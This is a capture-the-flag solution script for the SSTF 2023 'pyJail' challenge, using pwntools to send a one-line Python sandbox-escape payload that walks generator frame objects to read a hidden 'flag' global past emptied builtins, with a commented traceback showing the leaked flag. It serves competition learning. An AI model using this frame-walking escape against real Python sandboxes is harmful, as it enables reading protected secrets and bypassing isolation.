SSTF 2023 - pyJail (Misc)

solve.py

from pwn import *

HOST = "pyjail.sstf.site"
PORT = "9999"


def conn() -> tube:
    if args.LOCAL:
        return process(["python", "jail.py"])
    return remote(HOST, PORT)


def main() -> None:
    with conn() as io:
        payload = """
[a:=[],g:=(g.gi_frame.f_back.f_back.f_globals['flag']for g in a),a.append(g),{}[g.send(None)]]
""".strip().encode()
        print(len(payload))
        io.sendlineafter(b"> ", payload)
        io.interactive()


if __name__ == "__main__":
    main()

# Traceback (most recent call last):
#   File "/home/jail/jail.py", line 11, in <module>
#     if flag == eval(code, {"__builtins__": {}}, {"__builtins__": {}}):
#                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#   File "<string>", line 1, in <module>
# KeyError: 'SCTF{i_d0nt_w4nt_pyjail_anymore}\n'